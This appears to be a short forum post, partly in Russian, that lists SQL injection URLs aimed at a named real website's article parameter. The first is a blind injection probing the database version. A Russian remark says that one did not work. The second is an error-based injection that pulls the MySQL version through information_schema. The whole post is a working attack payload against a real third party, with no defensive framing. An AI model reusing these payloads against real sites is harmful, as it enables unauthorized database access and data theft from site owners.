http://www.editrans.de/?view=article&id=6+and+substring(version(),1,1)=5

а вот так не прокатило

http://www.editrans.de/?view=article&id=-6+or(1,1)=(select+count(0),concat((select+version( )+from+information_schema.tables+limit+0,1),floor( rand(0)*2))from(information_schema.tables)group+by +2)--+